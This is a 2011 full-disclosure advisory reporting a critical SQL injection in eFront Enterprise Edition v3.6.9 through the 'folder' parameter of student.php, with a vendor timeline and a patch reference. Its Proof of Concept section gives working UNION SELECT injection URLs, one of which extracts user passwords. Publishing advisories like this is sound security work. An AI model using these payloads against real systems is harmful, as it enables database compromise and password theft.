[Full-disclosure] eFront Enterprise Edition v3.6.9 - SQL Injection Vulnerability



Title:
======
eFront Enterprise Edition v3.6.9 - SQL Injection Vulnerability


Date:
=====
2011-10-07


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=230


VL-ID:
=====
230


Introduction:
=============
Tailored with larger organizations in mind, eFront Enterprise offers solutions for the management of companies most
valued asset - the people. Based on a coherent approach to human capital management which keeps the workforce actively
engaged, the eFront Enterprise platform offers the means of aligning learning programs with business goals to cultivate
employee skills and knowledge associated with business performance. eFront Enterprise builds on top of eFront Educational.

(Copy of the Vendor Homepage: http://efrontlearning.net/product/efront-enterprise.html)


Abstract:
=========
An anonymous researcher of the vulnerability Lab Team discovered a critical SQL Injection vulnerability on eFront CMS v3.6.9


Report-Timeline:
================
2011-09-18: Vendor Notification
2011-09-21: Vendor Response/Feedback
2011-10-06: Vendor Fix/Patch
2011-10-07: Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
eFront
Product: eLearning Enterprise Edition v3.6.9


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
A SQL Injection vulnerability is detected on eFronts CMS v.3.6.9! The bug allows an remote attacker to inject/execute own sql
statements over the vulnerable param request. Successful exploitation of the bug can lead to dbms & cms compromise.

Vulnerable Module(s):
[+] student section

Vulnerable File(s):
[+] student.php

Vulnerable Param(s):
[+] ?ctg=messages&folder=


Pictures:
../1.png


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers. For demonstration or reproduce ...

PoC:
http://xxx.net/enterprise/www/student.php?ctg=messages&folder=7+/*!Union*/Select+1,2,3,4,5,6,version%28%29,8,9,10,11,12--

Full: (reproduce)
http://demo.efrontlearning.net/enterprise/www/student.php?ctg=messages&folder=64+/*!Union*/Select+1,2,3,4,5,6,password,8,9,10,11,12+from+users--


Solution:
=========
2011/10/10 v3.6.10 build 11944 - http://www.efrontlearning.net/download


Risk:
=====
The security risk of the remote sql injection vulnerability is estimated as critical.


Credits:
========
Vulnerability Research Laboratory - Mohammed Abdelkader A.


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

Copyright © 2011|Vulnerability-Lab

--
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